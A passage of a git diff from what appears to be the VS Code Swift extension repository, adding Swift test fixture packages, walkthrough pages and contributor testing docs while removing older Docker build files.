"96a2f8a0fa41e9e09af4585e2724c4e825410b91", + "version": "1.6.2" + } + } + ] + }, + "version": 1 +} diff --git a/assets/test/identity-different/Package.swift b/assets/test/identity-different/Package.swift new file mode 100644 index 000000000..5bec37a19 --- /dev/null +++ b/assets/test/identity-different/Package.swift @@ -0,0 +1,25 @@ +// swift-tools-version:5.4 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "identity-different", + products: [ + // Products define the executables and libraries a package produces, and make them visible to other packages. + .library( + name: "identity-different", + targets: ["identity-different"]), + ], + dependencies: [ + // Dependencies declare other packages that this package depends on. + .package(url: "https://github.com/apple/swift-log.git", from: "1.5.2"), + ], + targets: [ + // Targets are the basic building blocks of a package. A target can define a module or a test suite. + // Targets can depend on other targets in this package, and on products in packages this package depends on. + .target( + name: "identity-different", + dependencies: [.product(name: "Logging", package: "swift-log")]), + ] +) diff --git a/assets/test/identity-different/Sources/identity-different/identity_different.swift b/assets/test/identity-different/Sources/identity-different/identity_different.swift new file mode 100644 index 000000000..244cbd6de --- /dev/null +++ b/assets/test/identity-different/Sources/identity-different/identity_different.swift @@ -0,0 +1,6 @@ +public struct identity_different { + public private(set) var text = "Hello, World!" + + public init() { + } +} diff --git a/assets/test/logs/lldb-dap-session-123456789.log b/assets/test/logs/lldb-dap-session-123456789.log new file mode 100644 index 000000000..1e43042a9 --- /dev/null +++ b/assets/test/logs/lldb-dap-session-123456789.log @@ -0,0 +1 @@ +Very important logging data \ No newline at end of file diff --git a/assets/test/package1/Package.resolved b/assets/test/package1/Package.resolved deleted file mode 100644 index 91fdecb95..000000000 --- a/assets/test/package1/Package.resolved +++ /dev/null @@ -1,16 +0,0 @@ -{ - "object": { - "pins": [ - { - "package": "swift-argument-parser", - "repositoryURL": "https://github.com/apple/swift-argument-parser.git", - "state": { - "branch": null, - "revision": "e1465042f195f374b94f915ba8ca49de24300a0d", - "version": "1.0.2" - } - } - ] - }, - "version": 1 -} diff --git a/assets/test/package1/Package.swift b/assets/test/package1/Package.swift deleted file mode 100644 index a7258e45c..000000000 --- a/assets/test/package1/Package.swift +++ /dev/null @@ -1,21 +0,0 @@ -// swift-tools-version:5.4 -// The swift-tools-version declares the minimum version of Swift required to build this package. - -import PackageDescription - -let package = Package( - name: "package1", - dependencies: [ - .package(url: "https://github.com/apple/swift-argument-parser.git", from: "1.0.0") - ], - targets: [ - // Targets are the basic building blocks of a package. A target can define a module or a test suite. - // Targets can depend on other targets in this package, and on products in packages this package depends on. - .executableTarget( - name: "package1", - dependencies: []), - .testTarget( - name: "package1Tests", - dependencies: ["package1"]), - ] -) diff --git a/assets/test/package1/Sources/package1/main.swift b/assets/test/package1/Sources/package1/main.swift deleted file mode 100644 index f7cf60e14..000000000 --- a/assets/test/package1/Sources/package1/main.swift +++ /dev/null @@ -1 +0,0 @@ -print("Hello, world!") diff --git a/assets/test/package1/Tests/package1Tests/package1Tests.swift b/assets/test/package1/Tests/package1Tests/package1Tests.swift deleted file mode 100644 index 567af8dd1..000000000 --- a/assets/test/package1/Tests/package1Tests/package1Tests.swift +++ /dev/null @@ -1,47 +0,0 @@ -import XCTest -import class Foundation.Bundle - -final class working_packageTests: XCTestCase { - func testExample() throws { - // This is an example of a functional test case. - // Use XCTAssert and related functions to verify your tests produce the correct - // results. - - // Some of the APIs that we use below are available in macOS 10.13 and above. - guard #available(macOS 10.13, *) else { - return - } - - // Mac Catalyst won't have `Process`, but it is supported for executables. - #if !targetEnvironment(macCatalyst) - - let fooBinary = productsDirectory.appendingPathComponent("working-package") - - let process = Process() - process.executableURL = fooBinary - - let pipe = Pipe() - process.standardOutput = pipe - - try process.run() - process.waitUntilExit() - - let data = pipe.fileHandleForReading.readDataToEndOfFile() - let output = String(data: data, encoding: .utf8) - - XCTAssertEqual(output, "Hello, world!\n") - #endif - } - - /// Returns path to the built products directory. - var productsDirectory: URL { - #if os(macOS) - for bundle in Bundle.allBundles where bundle.bundlePath.hasSuffix(".xctest") { - return bundle.bundleURL.deletingLastPathComponent() - } - fatalError("couldn't find the products directory") - #else - return Bundle.main.bundleURL - #endif - } -} diff --git a/assets/test/scripts/SwiftScript.swift b/assets/test/scripts/SwiftScript.swift new file mode 100644 index 000000000..8e235769c --- /dev/null +++ b/assets/test/scripts/SwiftScript.swift @@ -0,0 +1 @@ +print("Hello World") \ No newline at end of file diff --git a/assets/test/sleep.sh b/assets/test/sleep.sh new file mode 100755 index 000000000..3bbe0bd72 --- /dev/null +++ b/assets/test/sleep.sh @@ -0,0 +1,17 @@ +#!/bin/bash +##===----------------------------------------------------------------------===## +## +## This source file is part of the VS Code Swift open source project +## +## Copyright (c) 2021 the VS Code Swift project authors +## Licensed under Apache License v2.0 +## +## See LICENSE.txt for license information +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors +## +## SPDX-License-Identifier: Apache-2.0 +## +##===----------------------------------------------------------------------===## + +sleep "$1" +exit "$2" \ No newline at end of file diff --git a/assets/test/targets/Package.swift b/assets/test/targets/Package.swift new file mode 100644 index 000000000..bc10b440b --- /dev/null +++ b/assets/test/targets/Package.swift @@ -0,0 +1,59 @@ +// swift-tools-version: 5.9 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "targets", + products: [ + .library( + name: "LibraryTarget", + targets: ["LibraryTarget"] + ), + .executable( + name: "ExecutableTarget", + targets: ["ExecutableTarget"] + ), + .plugin( + name: "PluginTarget", + targets: ["PluginTarget"] + ), + ], + dependencies: [ + .package(url: "https://github.com/swiftlang/swift-markdown.git", exact: "0.6.0"), + .package(path: "../defaultPackage"), + ], + targets: [ + .target( + name: "LibraryTarget", + plugins: [ + .plugin(name: "BuildToolPlugin") + ] + ), + .executableTarget( + name: "ExecutableTarget" + ), + .executableTarget( + name: "BuildToolExecutableTarget" + ), + .plugin( + name: "PluginTarget", + capability: .command( + intent: .custom(verb: "testing", description: "A plugin for testing plugins") + ) + ), + .plugin( + name: "BuildToolPlugin", + capability: .buildTool(), + dependencies: ["BuildToolExecutableTarget"] + ), + .testTarget( + name: "TargetsTests", + dependencies: ["LibraryTarget"] + ), + .testTarget( + name: "AnotherTests", + dependencies: ["LibraryTarget"] + ), + ] +) diff --git a/assets/test/targets/Plugins/BuildToolPlugin/BuildToolPlugin.swift b/assets/test/targets/Plugins/BuildToolPlugin/BuildToolPlugin.swift new file mode 100644 index 000000000..c56ae309b --- /dev/null +++ b/assets/test/targets/Plugins/BuildToolPlugin/BuildToolPlugin.swift @@ -0,0 +1,48 @@ +import PackagePlugin +import Foundation + +@main +struct SimpleBuildToolPlugin: BuildToolPlugin { + func createBuildCommands(context: PluginContext, target: Target) async throws -> [Command] { + guard let sourceFiles = target.sourceModule?.sourceFiles else { return [] } + + #if os(Windows) + return [] + #endif + + let generatorTool = try context.tool(named: "BuildToolExecutableTarget") + + // Construct a build command for each source file with a particular suffix. + return sourceFiles.map(\.path).compactMap { + createBuildCommand( + for: $0, + in: context.pluginWorkDirectory, + with: generatorTool.path + ) + } + } + + /// Calls a build tool that transforms JSON files into Swift files. + func createBuildCommand(for inputPath: Path, in outputDirectoryPath: Path, with generatorToolPath: Path) -> Command? { + let inputURL = URL(fileURLWithPath: inputPath.string) + let outputDirectoryURL = URL(fileURLWithPath: outputDirectoryPath.string) + + // Skip any file that doesn't have the extension we're looking for (replace this with the actual one). + guard inputURL.pathExtension == "json" else { return .none } + + // Produces .swift files in the same directory structure as the input JSON files appear in the target. + let components = inputURL.absoluteString.split(separator: "LibraryTarget", omittingEmptySubsequences: false).map(String.init) + let inputName = inputURL.lastPathComponent + let outputDir = outputDirectoryURL.appendingPathComponent(components[1]).deletingLastPathComponent() + let outputName = inputURL.deletingPathExtension().lastPathComponent + ".swift" + let outputURL = outputDir.appendingPathComponent(outputName) + + return .buildCommand( + displayName: "Generating \(outputName) from \(inputName)", + executable: generatorToolPath, + arguments: ["\(inputPath)", "\(outputURL.path)"], + inputFiles: [inputPath], + outputFiles: [Path(outputURL.path)] + ) + } +} diff --git a/assets/test/targets/Plugins/PluginTarget/main.swift b/assets/test/targets/Plugins/PluginTarget/main.swift new file mode 100644 index 000000000..8a2a8680f --- /dev/null +++ b/assets/test/targets/Plugins/PluginTarget/main.swift @@ -0,0 +1,9 @@ +import PackagePlugin +import Foundation + +@main +struct MyCommandPlugin: CommandPlugin { + func performCommand(context: PluginContext, arguments: [String]) throws { + print("Plugin Target Hello World") + } +} \ No newline at end of file diff --git a/assets/test/targets/Snippets/AnotherSnippet.swift b/assets/test/targets/Snippets/AnotherSnippet.swift new file mode 100644 index 000000000..25f53dfa6 --- /dev/null +++ b/assets/test/targets/Snippets/AnotherSnippet.swift @@ -0,0 +1 @@ +print("Another Snippet Hello World") \ No newline at end of file diff --git a/assets/test/targets/Snippets/Snippet.swift b/assets/test/targets/Snippets/Snippet.swift new file mode 100644 index 000000000..cdd7d267c --- /dev/null +++ b/assets/test/targets/Snippets/Snippet.swift @@ -0,0 +1 @@ +print("Snippet Hello World") \ No newline at end of file diff --git a/assets/test/targets/Sources/BuildToolExecutableTarget/BuildToolExecutableTarget.swift b/assets/test/targets/Sources/BuildToolExecutableTarget/BuildToolExecutableTarget.swift new file mode 100644 index 000000000..fd59c3add --- /dev/null +++ b/assets/test/targets/Sources/BuildToolExecutableTarget/BuildToolExecutableTarget.swift @@ -0,0 +1,45 @@ +#if !os(Windows) +import Foundation + +@main +struct CodeGenerator { + static func main() async throws { + // Use swift-argument-parser or just CommandLine, here we just imply that 2 paths are passed in: input and output + guard CommandLine.arguments.count == 3 else { + throw CodeGeneratorError.invalidArguments + } + // arguments[0] is the path to this command line tool + guard let input = URL(string: "file://\(CommandLine.arguments[1])"), let output = URL(string: "file://\(CommandLine.arguments[2])") else { + return + } + let jsonData = try Data(contentsOf: input) + let enumFormat = try JSONDecoder().decode(JSONFormat.self, from: jsonData) + + let code = """ + enum \(enumFormat.name): CaseIterable { + \t\(enumFormat.cases.map({ "case \($0)" }).joined(separator: "\n\t")) + } + """ + guard let data = code.data(using: .utf8) else { + throw CodeGeneratorError.invalidData + } + try data.write(to: output, options: .atomic) + } +} + +struct JSONFormat: Decodable { + let name: String + let cases: [String] +} + +enum CodeGeneratorError: Error { + case invalidArguments + case invalidData +} +#else +@main +struct DummyMain { + static func main() { + } +} +#endif \ No newline at end of file diff --git a/assets/test/targets/Sources/CommandPluginTarget/CommandPluginTarget.swift b/assets/test/targets/Sources/CommandPluginTarget/CommandPluginTarget.swift new file mode 100644 index 000000000..e69de29bb diff --git a/assets/test/targets/Sources/ExecutableTarget/main.swift b/assets/test/targets/Sources/ExecutableTarget/main.swift new file mode 100644 index 000000000..2fcea7ab3 --- /dev/null +++ b/assets/test/targets/Sources/ExecutableTarget/main.swift @@ -0,0 +1 @@ +print("Executable Target Hello World!") \ No newline at end of file diff --git a/assets/test/targets/Sources/LibraryTarget/Bar/Baz.json b/assets/test/targets/Sources/LibraryTarget/Bar/Baz.json new file mode 100644 index 000000000..6d2776154 --- /dev/null +++ b/assets/test/targets/Sources/LibraryTarget/Bar/Baz.json @@ -0,0 +1,8 @@ +{ + "name": "Baz", + "cases": [ + "bar", + "baz", + "bbb" + ] +} \ No newline at end of file diff --git a/assets/test/targets/Sources/LibraryTarget/Foo.json b/assets/test/targets/Sources/LibraryTarget/Foo.json new file mode 100644 index 000000000..577d47e6d --- /dev/null +++ b/assets/test/targets/Sources/LibraryTarget/Foo.json @@ -0,0 +1,8 @@ +{ + "name": "Foo", + "cases": [ + "bar", + "baz", + "qux" + ] +} \ No newline at end of file diff --git a/assets/test/targets/Sources/LibraryTarget/Targets.swift b/assets/test/targets/Sources/LibraryTarget/Targets.swift new file mode 100644 index 000000000..37c4f8832 --- /dev/null +++ b/assets/test/targets/Sources/LibraryTarget/Targets.swift @@ -0,0 +1,9 @@ +// The Swift Programming Language +// https://docs.swift.org/swift-book + +public func foo() { + print("foo") +} +public func bar() { + print("bar") +} \ No newline at end of file diff --git a/assets/test/targets/Tests/AnotherTests/AnotherTests.swift b/assets/test/targets/Tests/AnotherTests/AnotherTests.swift new file mode 100644 index 000000000..8aa96db8b --- /dev/null +++ b/assets/test/targets/Tests/AnotherTests/AnotherTests.swift @@ -0,0 +1,8 @@ +import LibraryTarget +import XCTest + +class AnotherTests: XCTestCase { + func testExample() { + bar() + } +} \ No newline at end of file diff --git a/assets/test/targets/Tests/TargetsTests/TargetsTests.swift b/assets/test/targets/Tests/TargetsTests/TargetsTests.swift new file mode 100644 index 000000000..089304193 --- /dev/null +++ b/assets/test/targets/Tests/TargetsTests/TargetsTests.swift @@ -0,0 +1,8 @@ +import LibraryTarget +import XCTest + +class TargetsTests: XCTestCase { + func testExample() { + foo() + } +} \ No newline at end of file diff --git a/assets/walkthrough/createNewProject.md b/assets/walkthrough/createNewProject.md new file mode 100644 index 000000000..c85aa7e47 --- /dev/null +++ b/assets/walkthrough/createNewProject.md @@ -0,0 +1,10 @@ +# Create a New Swift Project +![Create new project](./images/createNewProject.gif) + +When you select a project template, you'll be prompted to enter a name for your new project. This will be the name of the folder created in your workspace. You can then choose any location in your workspace, or create a new folder for the project. + +# Opening Existing Projects + +![Open existing project](./images/openProject.gif) + +When you open an existing project with a ``Package.swift`` file the extension will activate automatically. diff --git a/assets/walkthrough/customizeSettings.md b/assets/walkthrough/customizeSettings.md new file mode 100644 index 000000000..f2478b3b1 --- /dev/null +++ b/assets/walkthrough/customizeSettings.md @@ -0,0 +1,19 @@ +# Swift Extension Settings + +![Swift Extension Settings](./images/settings.gif) + +The Swift Extension contains several settings you can customize. You can filter settings Swift extension settings by searching for `@ext:swiftlang.swift-vscode`. + +## Language Settings + +Some language settings such as those for inlay hints for inferred variable types are turned on by default in VS Code. + +![Disable Inlay Hints](./images/disableInlayHints.gif) + +You can turn off inlay hints for Swift by adding `[swift]` specific settings to your `settings.json` file: + +``` + "[swift]": { + "editor.inlayHints.enabled": "off" + }, +``` diff --git a/assets/walkthrough/images/createNewProject.gif b/assets/walkthrough/images/createNewProject.gif new file mode 100644 index 000000000..fd13aaba7 Binary files /dev/null and b/assets/walkthrough/images/createNewProject.gif differ diff --git a/assets/walkthrough/images/createNewProject.svg b/assets/walkthrough/images/createNewProject.svg new file mode 100644 index 000000000..765e062b6 --- /dev/null +++ b/assets/walkthrough/images/createNewProject.svg @@ -0,0 +1,55 @@ + + + + + + + + + + + + +> Swift: + + + + + + +Swift: Create New Project... +Swift: Create New Swift File... +Swift: Select Toolchain... +Swift: Open Documentation +Swift: Preview Documentation +Swift: Open Package.swift + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/walkthrough/images/debugExecutable.gif b/assets/walkthrough/images/debugExecutable.gif new file mode 100644 index 000000000..47d3ad3ad Binary files /dev/null and b/assets/walkthrough/images/debugExecutable.gif differ diff --git a/assets/walkthrough/images/disableInlayHints.gif b/assets/walkthrough/images/disableInlayHints.gif new file mode 100644 index 000000000..b5b4c4030 Binary files /dev/null and b/assets/walkthrough/images/disableInlayHints.gif differ diff --git a/assets/walkthrough/images/openProject.gif b/assets/walkthrough/images/openProject.gif new file mode 100644 index 000000000..a79ff20e8 Binary files /dev/null and b/assets/walkthrough/images/openProject.gif differ diff --git a/assets/walkthrough/images/previewDocumentation.gif b/assets/walkthrough/images/previewDocumentation.gif new file mode 100644 index 000000000..2868eee21 Binary files /dev/null and b/assets/walkthrough/images/previewDocumentation.gif differ diff --git a/assets/walkthrough/images/runExecutable.gif b/assets/walkthrough/images/runExecutable.gif new file mode 100644 index 000000000..bc59c7841 Binary files /dev/null and b/assets/walkthrough/images/runExecutable.gif differ diff --git a/assets/walkthrough/images/runSwiftExecutable.png b/assets/walkthrough/images/runSwiftExecutable.png new file mode 100644 index 000000000..0d3654d2f Binary files /dev/null and b/assets/walkthrough/images/runSwiftExecutable.png differ diff --git a/assets/walkthrough/images/runTests.gif b/assets/walkthrough/images/runTests.gif new file mode 100644 index 000000000..9a08f7da5 Binary files /dev/null and b/assets/walkthrough/images/runTests.gif differ diff --git a/assets/walkthrough/images/settings.gif b/assets/walkthrough/images/settings.gif new file mode 100644 index 000000000..f1595a36d Binary files /dev/null and b/assets/walkthrough/images/settings.gif differ diff --git a/assets/walkthrough/images/swiftCommands.svg b/assets/walkthrough/images/swiftCommands.svg new file mode 100644 index 000000000..a200674f3 --- /dev/null +++ b/assets/walkthrough/images/swiftCommands.svg @@ -0,0 +1,40 @@ + + + + + + + + + + + + +> Swift: + + +Swift: Create New Project... +Swift: Create New Swift File... +Swift: Select Toolchain... +Swift: Open Documentation +Swift: Preview Documentation +Swift: Open Package.swift + + + + + + + + + + + + + + + + + + + diff --git a/assets/walkthrough/images/swiftLogo.svg b/assets/walkthrough/images/swiftLogo.svg new file mode 100755 index 000000000..9e97bfaa8 --- /dev/null +++ b/assets/walkthrough/images/swiftLogo.svg @@ -0,0 +1,22 @@ + + + + + + + + diff --git a/assets/walkthrough/images/toolchainInfo.png b/assets/walkthrough/images/toolchainInfo.png new file mode 100644 index 000000000..335da58f2 Binary files /dev/null and b/assets/walkthrough/images/toolchainInfo.png differ diff --git a/assets/walkthrough/previewDocs.md b/assets/walkthrough/previewDocs.md new file mode 100644 index 000000000..d2d2ef14e --- /dev/null +++ b/assets/walkthrough/previewDocs.md @@ -0,0 +1,6 @@ +# Preview Documentation +![Preview documentation](./images/previewDocumentation.gif) + +You can preview [documentation written using DocC](https://www.swift.org/documentation/docc/) directly in VS Code by using the Preview Swift Documentation button at the top right of an editor, or by invoking `Swift: Preview Documentation` in the command palette in a `.docc` bundle. The preview window will update as you open different Markdown files or Swift source files that contains documentation comments. + +Note: This feature requires Swift 6.2 or later. \ No newline at end of file diff --git a/assets/walkthrough/runExecutable.md b/assets/walkthrough/runExecutable.md new file mode 100644 index 000000000..522b1aae5 --- /dev/null +++ b/assets/walkthrough/runExecutable.md @@ -0,0 +1,16 @@ +# Run Swift Executables +![Runing a swift executable](./images/runExecutable.gif) + +You can build and run a Swift binary target via the: +1. `Run` or `Debug` CodeLens that appears in the `.swift` file that contains your program's entry point +2. `Project Panel` in the bottom left hand corner of the sidebar under the `Targets` and `Tasks` groups +3. `Tasks` command: You can configure the build tasks through the `launch.json` file in the `.vscode` folder for the project and then select the target you'd like to build with the `Tasks: Run Task` command from the `Command Pallete` +4. `Run Swift executable` editor action in the top right corner of the editor +![Run Swift executable](./images/runSwiftExecutable.png) + + +# Debug Swift Executables + +![Debuging a swift executable](./images/debugExecutable.gif) + +The extension automatically generates the debug and release variants of launch configurations in `launch.json`. You can debug a target by setting a breakpoint and clicking the the `Debug Swift Executable` editor action or through the `Run and Debug` panel in the sidebar. \ No newline at end of file diff --git a/assets/walkthrough/runTests.md b/assets/walkthrough/runTests.md new file mode 100644 index 000000000..2d7cf2c15 --- /dev/null +++ b/assets/walkthrough/runTests.md @@ -0,0 +1,7 @@ +# Run Swift Testing and XCTest Tests +![Run a test](./images/runTests.gif) + +Swift Testing and XCTests tests are detected automatically. You can run tests by: +1. Clicking the ▶ button or right clicking ▶ button beside the line number, and selecting a test variant such as `Debug Test` or `Run with Coverage` +2. Clicking `Run`, `Debug` or `Run w/ Coverage` in the CodeLens +3. Using the `Test Explorer` in the sidebar diff --git a/assets/walkthrough/swiftCommands.md b/assets/walkthrough/swiftCommands.md new file mode 100644 index 000000000..8b326e828 --- /dev/null +++ b/assets/walkthrough/swiftCommands.md @@ -0,0 +1,7 @@ +# Swift Commands + +![Swift Commands](./images/swiftCommands.svg) + +Documentation for commands supported by this extension is available on [swift.org](https://docs.swift.org/vscode/documentation/userdocs/commands/). + +If you don't find the command you're looking for you can [open a new issue](https://github.com/swiftlang/vscode-swift/issues) or suggest an idea on the [swift.org forums](https://forums.swift.org/c/related-projects/vscode-swift-extension/). diff --git a/assets/walkthrough/swiftToolchains.md b/assets/walkthrough/swiftToolchains.md new file mode 100644 index 000000000..a7457621a --- /dev/null +++ b/assets/walkthrough/swiftToolchains.md @@ -0,0 +1,14 @@ +The Swift extension automatically detects your installed Swift toolchain. However, it also provides a command called `Swift: Select Toolchain...` which can be used to select between toolchains if you have multiple installed. + +You may be prompted to select where to configure this new path. Your options are to: + +- `Save it in User Settings` +- `Save it in Workspace Settings` + +Keep in mind that Workspace Settings take precedence over `User Settings`. + +The Swift extension will then prompt you to reload the extension in order to pick up the new toolchain. The extension will not use the new toolchain until the extension is restarted. + +Tip: You can view more information about the toolchain and other configurations being used for the project by hovering over the `{}` icon in the bottom right corner of the status bar. + +![Hover over {} to see toolchain info](./images/toolchainInfo.png) diff --git a/assets/walkthrough/welcome.md b/assets/walkthrough/welcome.md new file mode 100644 index 000000000..556c43ae2 --- /dev/null +++ b/assets/walkthrough/welcome.md @@ -0,0 +1,3 @@ +

+ Welcome +

\ No newline at end of file diff --git a/docker/Dockerfile b/docker/Dockerfile deleted file mode 100644 index 9ccfe3eac..000000000 --- a/docker/Dockerfile +++ /dev/null @@ -1,31 +0,0 @@ -ARG swift_version=5.5 -ARG ubuntu_version=focal -ARG base_image=swift:$swift_version-$ubuntu_version -FROM $base_image -# needed to do again after FROM due to docker limitation -ARG swift_version -ARG ubuntu_version - -# set as UTF-8 -RUN apt-get update && apt-get install -y locales locales-all -ENV LC_ALL en_US.UTF-8 -ENV LANG en_US.UTF-8 -ENV LANGUAGE en_US.UTF-8 - -# dependencies -RUN apt-get update && apt-get install -y curl gpg xvfb libatk1.0-0 libatk-bridge2.0-0 libgtk-3-0 libgbm-dev libnss3-dev libasound-dev - -# install NodeJS 16 -# Add the NodeSource package signing key -ENV KEYRING /usr/share/keyrings/nodesource.gpg -RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource.gpg.key | gpg --dearmor | tee "$KEYRING" >/dev/null -RUN gpg --no-default-keyring --keyring "$KEYRING" --list-keys -# Add the desired NodeSource repository -ENV VERSION node_16.x -ENV DISTRO $ubuntu_version -RUN echo "deb [signed-by=$KEYRING] https://deb.nodesource.com/$VERSION $DISTRO main" | tee /etc/apt/sources.list.d/nodesource.list -RUN echo "deb-src [signed-by=$KEYRING] https://deb.nodesource.com/$VERSION $DISTRO main" | tee -a /etc/apt/sources.list.d/nodesource.list -# Update package lists and install Node.js -RUN apt-get update && apt-get install -y nodejs - -RUN useradd --user-group --create-home --system --skel /dev/null --home-dir /vscode vscode \ No newline at end of file diff --git a/docker/docker-compose.2004.54.yaml b/docker/docker-compose.2004.54.yaml deleted file mode 100644 index 823db157b..000000000 --- a/docker/docker-compose.2004.54.yaml +++ /dev/null @@ -1,16 +0,0 @@ -version: "3" - -services: - - runtime-setup: - image: vscode-swift:20.04-5.4 - build: - args: - ubuntu_version: "focal" - swift_version: "5.4" - - test: - image: vscode-swift:20.04-5.4 - - shell: - image: vscode-swift:20.04-5.4 diff --git a/docker/docker-compose.2004.55.yaml b/docker/docker-compose.2004.55.yaml deleted file mode 100644 index bb5e04b36..000000000 --- a/docker/docker-compose.2004.55.yaml +++ /dev/null @@ -1,16 +0,0 @@ -version: "3" - -services: - - runtime-setup: - image: vscode-swift:20.04-5.5 - build: - args: - ubuntu_version: "focal" - swift_version: "5.5" - - test: - image: vscode-swift:20.04-5.5 - - shell: - image: vscode-swift:20.04-5.5 diff --git a/docker/docker-compose.2004.56.yaml b/docker/docker-compose.2004.56.yaml deleted file mode 100644 index 2b06c9995..000000000 --- a/docker/docker-compose.2004.56.yaml +++ /dev/null @@ -1,15 +0,0 @@ -version: "3" - -services: - - runtime-setup: - image: vscode-swift:20.04-5.6 - build: - args: - base_image: "swiftlang/swift:nightly-5.6-focal" - - test: - image: vscode-swift:20.04-5.6 - - shell: - image: vscode-swift:20.04-5.6 diff --git a/docker/docker-compose.2004.main.yaml b/docker/docker-compose.2004.main.yaml deleted file mode 100644 index 08b994636..000000000 --- a/docker/docker-compose.2004.main.yaml +++ /dev/null @@ -1,15 +0,0 @@ -version: "3" - -services: - - runtime-setup: - image: vscode-swift:20.04-main - build: - args: - base_image: "swiftlang/swift:nightly-main-focal" - - test: - image: vscode-swift:20.04-main - - shell: - image: vscode-swift:20.04-main diff --git a/docker/docker-compose.yaml b/docker/docker-compose.yaml deleted file mode 100644 index e35c741b5..000000000 --- a/docker/docker-compose.yaml +++ /dev/null @@ -1,36 +0,0 @@ -# this file is not designed to be run directly -# instead, use the docker-compose.. files -# eg docker-compose -f docker/docker-compose.yaml -f docker/docker-compose.1804.50.yaml run test -version: "3" - -services: - - runtime-setup: - image: vscode-swift:default - build: - context: . - dockerfile: Dockerfile - - common: &common - image: vscode-swift:default - depends_on: [runtime-setup] - volumes: - - ~/.ssh:/root/.ssh - - ..:/code:z - working_dir: /code - user: vscode:vscode - cap_drop: - - CAP_NET_RAW - - CAP_NET_BIND_SERVICE - - soundness: - <<: *common - command: /bin/bash -xcl "./scripts/soundness.sh" - - test: - <<: *common - command: /bin/bash -xcl "mkdir /tmp/code && cp -r ./ /tmp/code/ && cd /tmp/code && npm ci && npm run lint && npm run format && npm run package && ./docker/test.sh" - - shell: - <<: *common - entrypoint: /bin/bash diff --git a/docker/test.sh b/docker/test.sh deleted file mode 100755 index 67c8853ce..000000000 --- a/docker/test.sh +++ /dev/null @@ -1 +0,0 @@ -xvfb-run -a npm test \ No newline at end of file diff --git a/docs/contributor/test-strategy.md b/docs/contributor/test-strategy.md new file mode 100644 index 000000000..bf33ccd0d --- /dev/null +++ b/docs/contributor/test-strategy.md @@ -0,0 +1,65 @@ +# Swift for Visual Studio Code test strategy + +This document covers the structure of tests as well as plans for the future. For a more in depth explanation of how to write and structure tests for your contributions, please see the [Writing Tests for VS Code Swift](./writing-tests-for-vscode-swift.md) document in this repository. + +The recommended way for [testing extensions](https://code.visualstudio.com/api/working-with-extensions/testing-extension) involves using either the new [vscode-test-cli](https://github.com/microsoft/vscode-test-cli) or creating your [own mocha test runner](https://code.visualstudio.com/api/working-with-extensions/testing-extension#advanced-setup-your-own-runner). Either approach results in Visual Studio Code getting downloaded, and a window spawned. This is necessary to have access the the APIs of the `vscode` namespace, to stimulate behaviour (ex. `vscode.tasks.executeTasks`) and obtain state (ex. `vscode.languages.getDiagnostics`). + +There are some testing gaps when only using this approach. Relying on using the `vscode` APIs makes it difficult to easily write unit tests. It ends up testing the communication between a lot of components in the `vscode-swift` extension and associated dependencies. Additionally, there is a lot of code that remains unverified. This code may get executed so that it shows up in the coverage report, but the behaviour is unobserved. Some examples of behaviour that is not observed, includes prompting the user for input, or verifying if a notification gets shown. See https://devblogs.microsoft.com/ise/testing-vscode-extensions-with-typescript/ for a more detailed overview. + +In addition to gaps in testing, the current approach tests at the integration level which results in slower and more brittle tests, as they rely on the communication between several components. + +## Test Pyramid + +Tests are grouped into 3 levels. The biggest distinguishing factors between the various levels will be the runtime of the test, and the number of "real" vs. mocked dependencies. + +### 1. Unit (`/test/unit`) + +- Employ stubbing or mocking techniques to allow for user interaction, AND to mock slow APIs like `executeTask` +- Mocked SwiftPM commands return hardcoded output, such as compile errors +- Any sourcekit-lsp interaction is mocked, with hardcoded responses +- Runs with a fast timeout of 100ms +- No usages of assets/test projects + - Use [mock-fs](https://www.npmjs.com/package/mock-fs) for testing fs usage +- Run in CI build for new PRs +- Ideally the vast majority of tests are at this level + +### 2. Integration (`/test/integration`) + +- Tests interaction between components, with some mocking for slow or fragile dependencies +- Stimulate actions using the VS Code APIs +- Use actual output from SwiftPM +- Use actual responses from sourcekit-lsp +- Use a moderate maximum timeout of up to 30s + - The CI job timeout is 15 minutes +- Use curated `assets/test` projects +- Run in CI and nightly builds +- Test key integrations with the VS Code API and key communication between our components + +### 3. Smoke (`/test/smoke`) + +- No mocking at all +- For now only stimulate actions using the VS Code APIs, testing via the UI is a different beast +- Use curated `assets/test` projects +- No need to enforce a maximum timeout (per test) +- Only run in nightly build +- Should only have a handful of these tests, for complex features + +## Test Matrix + +### CI Build + +- Run for new PRs (`@swift-server-bot test this please`) +- Run macOS, Linux and Windows + - Currently only Linux, macOS and Windows is being explored + - Expect Windows to fail short term, annotate to disable these tests +- Ideally run against Swift versions 5.6 - 6.0 + main +- Run `unit` and `integration` test suites +- Run test against latest `stable` VS Code + +### Nightly Build + +- Run macOS, Linux and Windows + - Currently only Linux, macOS and Windows is being explored +- Ideally run against Swift versions 5.6 - 6.0 + main +- Run `integration` and `smoke` test suites +- Run test against latest `stable` and `insiders` VS Code diff --git a/docs/contributor/writing-tests-for-vscode-swift.md b/docs/contributor/writing-tests-for-vscode-swift.md new file mode 100644 index 000000000..b9012e4f3 --- /dev/null +++ b/docs/contributor/writing-tests-for-vscode-swift.md @@ -0,0 +1,369 @@ +# Writing Tests for the VS Code Swift Extension + +This document provides guidance to contributors on how to write test cases for contributions to the [VSCode Swift extension](https://github.com/swiftlang/vscode-swift) using **Mocha**, **Chai**, and **Sinon**. These tools are widely used for testing JavaScript/TypeScript code and will help ensure that your code is reliable and maintainable. + +A brief description of each framework can be found below: + +- [**Mocha**](https://mochajs.org/): A JavaScript test framework that runs in Node.js. It provides structure for writing test suites, hooks (e.g., `setup()`, `teardown()`), and test cases (`test()`). +- [**Chai**](https://www.chaijs.com/): An assertion library. It allows you to express expectations for your code’s behavior using natural language. +- [**Sinon**](https://sinonjs.org/): A powerful mocking and spying library that allows you to create spies, stubs, and mocks to test how your code interacts with other components. + +## Overview + +- [Organizing Tests](#organizing-tests) +- [Writing Unit Tests](#writing-unit-tests) +- [Mocking the File System](#mocking-the-file-system) +- [Mocking Utilities](#mocking-utilities) + - [Mocking interfaces, classes, and functions](#mocking-interfaces-classes-and-functions) + - [Mocking VS Code events](#mocking-vs-code-events) + - [Mocking global modules](#mocking-global-modules) + - [Mocking global objects](#mocking-global-objects) + - [Mocking global 